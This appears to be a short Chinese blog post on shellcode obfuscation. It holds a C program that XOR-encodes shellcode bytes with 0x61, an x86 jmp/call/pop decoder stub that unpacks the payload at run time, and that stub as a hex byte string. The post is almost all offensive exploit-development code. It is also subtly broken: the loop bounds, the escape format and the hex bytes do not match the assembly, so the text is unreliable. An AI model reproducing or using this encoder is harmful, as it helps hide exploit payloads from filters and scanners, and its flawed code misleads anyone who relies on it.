Shellcode 编码、解码

编码程序: void main() { FILE *fp = NULL; fp = fopen("ShellCode.txt","w"); if( fp == NULL ) { system("pause"); exit(1); } int a[1024] = {0x6D,0x64,0x2E,0x54,0xFF,0xD3,0x5C}; for (int i = 0; i < 100; i++) { a[i] = a[i] ^ 0x61; fprintf(fp,"//x%x", a[i]); //printf("%x/n", a[i]); } fclose(fp); } 解码程序: jmp decode_begin decode_start: pop ebx dec ebx xor ecx,ecx mov cl,0xff decode_loop: xor byte ptr DS:[ebx + ecx], 0x61 loop decode_loop jmp decode_ok decode_begin: call decode_start decode_ok: 编码16进制: "/xEB/x0F/x5B/x4B/x33/xC9/xB1/xB0/x3E/x80/x34/x0B/x61/xE2/xF9/xEB/x05/xE8/xEC/xFF/xFF/xFF"  

你可能感兴趣的:(计算机安全)